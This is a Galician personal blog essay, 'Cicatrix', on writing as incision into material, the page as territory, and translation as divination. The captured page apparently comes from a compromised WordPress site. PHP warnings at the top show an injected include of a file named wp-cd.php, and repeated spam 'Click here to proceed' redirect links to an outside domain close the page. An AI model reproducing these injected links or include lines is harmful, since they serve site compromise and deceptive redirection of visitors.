Warning: include_once(/homepages/1/d334523770/htdocs/public_html/dos/ocampo/wp-includes/wp-cd.php): failed to open stream: Permission denied in /homepages/1/d334523770/htdocs/public_html/dos/ocampo/wp-includes/post.php on line 1

Warning: include_once(): Failed opening '/homepages/1/d334523770/htdocs/public_html/dos/ocampo/wp-includes/wp-cd.php' for inclusion (include_path='.:/usr/lib/php5.4') in /homepages/1/d334523770/htdocs/public_html/dos/ocampo/wp-includes/post.php on line 1
Cicatrix | Blog Personal de Anxo Ocampo

Cicatrix

Nov 12, 2011     Ningún comentario  Veces lido:3.022

Non, non vai ser. Aquí non me vou referir á escritura en pantalla. Para iso remito ós blogs de compañeiros de proxectos T&P, magnificamente representativos da reflexión actual sobre a tradución en medio dixital. En realidade quero referirme á escritura sobre soportes que hoxe podemos chamar tradicionais.

Tanto ten se é sobre papel, pedra, cera ou pizarra, queirámolo ou non: escribir nun soporte significa agredir a materia, ben porque escavamos nela incisións ou facemos relevos, ben porque depositamos nela tinta ou pintura en trazos ou en sucos.

Froito desa agresión nace a páxina de escritura que, lembrémolo, comparte étimo con país e paisaxe, o cal suxire que todo espazo de escritura ten valor de territorio, onde se organiza a información espacialmente, por columnas, arriba e abaixo…

A páxina, por unha banda, representa un territorio extenso, por exemplo un mapa, un documento legal ou a escritura dunha casa, e por outra banda tamén é o territorio en que se enfrontan os sistemas de signos, os signos entre eles ou os signos de diferentes linguas, ou de códigos semánticos diferentes.

Grazas á súa capacidade para xebrar, separar e delimitar partes nunha páxina, a escritura é portadora potencial da posibilidade de ser outro/a de cada vez, de ser reinterpretada incesantemente e simultaneamente. Os signos escritos esváense mais non desaparecen (facilmente), nin se esgota xamais a súa capacidade expresiva. A escritura é polo tanto unha operación arriscada, é un fenómeno que abriga o xermolo da diferenza. Estas calidades axiña se transfiren para os procesos de tradución escrita, ata o punto de que toda reescritura relativiza a autenticidade dun orixinal e sinala a existencia de varios sistemas diferentes.

Todos estes signos dispostos no territorio delimitan naturalmente un espazo de lectura. Precisamente, ler remite ó xesto de querer adiviñar o que vai suceder, o cal explica que moitos xestos (trazar sobre a terra, tirar obxectos ó chan, describir movementos no ceo etc.) foron comúns á escritura e ós procedementos de adiviñación. O templum romano, por exemplo, era un espazo aberto ó ceo, polo que se observaba o paso dos paxaros voando: esta lectura tiña por obxecto o movemento dinámico (unha liña) dentro duns límites espaciais (a páxina rectangular debuxada polo templum). Noutra ocasión falaremos de Iurugú, a raposa pálida dos mitos dogón, que se encarga de mediar entre a escritura de signos e a interpretación que a sociedade humana fai deles.

Madia leva sospeitar da tradución: xesto de escribir implica a idea de adiviñación, e o feito de que a tradución semelle ter o poder de cambiar a orde das cousas cadra co imaxinario benjamiano –e mesmo pre-benjamiano– da tradución como operación en que o texto está en devir: nin completamente acabado nin completamente parecido ó modelo orixinal.

A todo isto, movémonos nun mundo de signos interpretables, preguntándonos permanentemente pola súa aceptabilidade, calibrando a posición que ocupan, e asumindo a súa presenza arredor de nós.

Imaxe cicatris
Foto:Anxo Fernández Ocampo 080531_01

Polo largo de Santa Catarina, no fascinante barrio dos Povoeiros de Viana do Castelo, emerxe unha rocha no medio da rúa detrás da capela, emerxe e desprega o seu valor simbólico coma unha nota nunha partitura. E esa nota forma coa sacristía da capela un auténtico acorde.

Á pedra debuxóuselle un borde para unila co pavimento, déuselle unha marxe. É dicir que ese obxecto se singularizou respecto dos demais, volveuse significativo. Ten un centro e outórgaselle o dereito de manter unha relación de sintaxe cos demais elementos da praza.

Despedirei este artigo con dúas preguntas:

Como é que ninguén aínda desfixo ese afloramento?

Quen mandou / se molestou en cinguir a rocha cun cordón de cemento?

 

Queres dicir algo?

XHTML: Podes usar as seguintes etiquetas: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Artigos recentes

Bourdieu tena cruzada

Bourdieu tena cruzada

Novembro 12th, 2011

Hai procesos que, aínda que non sexan denominados traducións nin rematan coa creación dun texto t[...]

Cicatrix

Cicatrix

Novembro 12th, 2011

Non, non vai ser. Aquí non me vou referir á escritura en pantalla. Para iso remito ós blogs de co[...]

<body bgcolor="#ffffff" text="#000000"> <a href="http://net-streamer.com/?fp=uK2bWJD6ohkSw1X3yT1Gwp8boMbt6lfH4UcQoARuLmhqp99kDRDJs3LQKJ5F6njFNx6GUZDxuzC7Ow4XJR1P9Hwhy3xQ4svclJSFX%2F4Nsh2aZJPKY%2BbtSmwED%2FSkM6xhZOYE2hqHIbpwlsEjVBfU%2F6rG81vFREdMFu%2B4Q6RvStE%3D&prvtof=W0Cho0yFUL6tlNwet%2FY8YAcduCTK438ODDvdyU79UCs%3D&poru=fAvqVXmTKo2QvgEeSCZ%2FtthvLr6%2BwXEf14uZcXYTxkxR1MXnbqe9IHmhbuhOAxrrRJG%2BFQBiP17MlXWpnLZbBBKXe2tQLab5ghxzu75nMVVZ22CV7fZCJZsjHeliXYbTmnOClQiyN5qQzdvUrKW90dmPc3qEPkn7jEM%2FlLdKD9rLxzQNYVjGZ6PBgFpSKRzvaq0OLkxGvqF5TXsUDwSkFEnctHLJ9fmkMJZgJf9On2AOib3M%2B1TSeTy%2FV4WW3rN7&d=paratraduccion.com%2Focampo%2F%3Fp%3D21&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&c=UTF-8&i=1&ip=107.23.176.162&h=f5c1668bb97fd2b578ebdf77a2e3785c">Click here to proceed</a>. </body> <body bgcolor="#ffffff" text="#000000"> <a href="http://net-streamer.com/?fp=OqkLoJR73Jrt4mAK58xAmjlRaY2f85o%2BAsyEQ9%2FjmBwUVdMuLanzZGXtBHm3KbSZhbXH391BBPjYN015F84Ig6lV43UHtJh83kKLKvTybaWptRf4MFiIy3wy7dBDz29awN983Wf9B7FGvUF6Rv3vNKVIx8CwwSyi76I%2Bt6GNJKQ%3D&prvtof=gXVzjFc7X186Z2jfbMgiyyc4mLKmf5l5Wisy6xCUMrU%3D&poru=6oSmNBkbQ9RASnd7Vy699HpIca0XHirPHLSAbSwEfU6iwNM2QKaNO7DTV1GtSS040%2BhxWz5QVeZp7H0LRajIi75AN72N524QkCQnBhYjyTIQauUMa1G9uyMSV2zAodLdxpylhcBccukJHZv2Lfb9TgJ5Tc0T%2BIb0brZeqbO%2BhjxdeMMKBPWXiaFUj2uRc84yP8NgNxAy68p2NkU55JjbluvSdGsZ35MQvB8fCnnfKkyrlZTucgZBQtO2d%2B8TOy2B&d=paratraduccion.com%2Focampo%2F%3Fp%3D21&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&c=UTF-8&i=1&ip=107.23.176.162&h=f5c1668bb97fd2b578ebdf77a2e3785c">Click here to proceed</a>. </body> <body bgcolor="#ffffff" text="#000000"> <a href="http://net-streamer.com/?fp=OqkLoJR73Jrt4mAK58xAmjlRaY2f85o%2BAsyEQ9%2FjmBwUVdMuLanzZGXtBHm3KbSZhbXH391BBPjYN015F84Ig6lV43UHtJh83kKLKvTybaWptRf4MFiIy3wy7dBDz29awN983Wf9B7FGvUF6Rv3vNKVIx8CwwSyi76I%2Bt6GNJKQ%3D&prvtof=gXVzjFc7X186Z2jfbMgiyyc4mLKmf5l5Wisy6xCUMrU%3D&poru=6oSmNBkbQ9RASnd7Vy699HpIca0XHirPHLSAbSwEfU6iwNM2QKaNO7DTV1GtSS040%2BhxWz5QVeZp7H0LRajIi75AN72N524QkCQnBhYjyTIQauUMa1G9uyMSV2zAodLdxpylhcBccukJHZv2Lfb9TgJ5Tc0T%2BIb0brZeqbO%2BhjxdeMMKBPWXiaFUj2uRc84yP8NgNxAy68p2NkU55JjbluvSdGsZ35MQvB8fCnnfKkyrlZTucgZBQtO2d%2B8TOy2B&d=paratraduccion.com%2Focampo%2F%3Fp%3D21&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&c=UTF-8&i=1&ip=107.23.176.162&h=f5c1668bb97fd2b578ebdf77a2e3785c">Click here to proceed</a>. </body> <body bgcolor="#ffffff" text="#000000"> <a href="http://net-streamer.com/?fp=0HHNWn6tkwB9VEdX6U2GzM5UR2LPU5IxoNrWpz6WrOYLISEaXMO4Q7ces%2FCOtzxMpJoFUSZBlpEsb3Z2jrOK8g2tPGpiwNQrKPRM2vCLnVsOiqZBJ1z478cAGdr7RPQmRnC7HHebP%2B3u9M3UJOoBPtOB2d5MAfYo%2BY03LXuvd%2F4%3D&prvtof=YvN5Cr5BXhis71Oy7P2F%2B6sh6yGJvYnqCxh1JPBxe6k%3D&poru=mXaIJgg9WuEv6X6Sy4PmWL508tPcvYQQczIXddtPdAUwqLk0JIe5f%2FHXcRg%2BaMNpaS1NqbFoWvB9NPKZw%2Fu6FQZHEofwfwIAd0yjVbzqyaN1VOzdTFNLOLOIn28e1TnDDsG168wzLTfUraLJMpApcvBVm1SPB3Sl4qOzObMf2hVMmDoMIQS73BH3HBd%2Bj1wiiAZOlYvVsXEtgenQOaevtrys4wAtsYcgonWVxip2HK69u96wmQlIb15kVTHQVA2Z&d=paratraduccion.com%2Focampo%2F%3Fp%3D21&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&c=UTF-8&i=1&ip=107.23.176.162&h=f5c1668bb97fd2b578ebdf77a2e3785c">Click here to proceed</a>. </body> <body bgcolor="#ffffff" text="#000000"> <a href="http://net-streamer.com/?fp=0HHNWn6tkwB9VEdX6U2GzM5UR2LPU5IxoNrWpz6WrOYLISEaXMO4Q7ces%2FCOtzxMpJoFUSZBlpEsb3Z2jrOK8g2tPGpiwNQrKPRM2vCLnVsOiqZBJ1z478cAGdr7RPQmRnC7HHebP%2B3u9M3UJOoBPtOB2d5MAfYo%2BY03LXuvd%2F4%3D&prvtof=YvN5Cr5BXhis71Oy7P2F%2B6sh6yGJvYnqCxh1JPBxe6k%3D&poru=mXaIJgg9WuEv6X6Sy4PmWL508tPcvYQQczIXddtPdAUwqLk0JIe5f%2FHXcRg%2BaMNpaS1NqbFoWvB9NPKZw%2Fu6FQZHEofwfwIAd0yjVbzqyaN1VOzdTFNLOLOIn28e1TnDDsG168wzLTfUraLJMpApcvBVm1SPB3Sl4qOzObMf2hVMmDoMIQS73BH3HBd%2Bj1wiiAZOlYvVsXEtgenQOaevtrys4wAtsYcgonWVxip2HK69u96wmQlIb15kVTHQVA2Z&d=paratraduccion.com%2Focampo%2F%3Fp%3D21&u=CCBot%2F2.0+%28https%3A%2F%2Fcommoncrawl.org%2Ffaq%2F%29&c=UTF-8&i=1&ip=107.23.176.162&h=f5c1668bb97fd2b578ebdf77a2e3785c">Click here to proceed</a>. </body>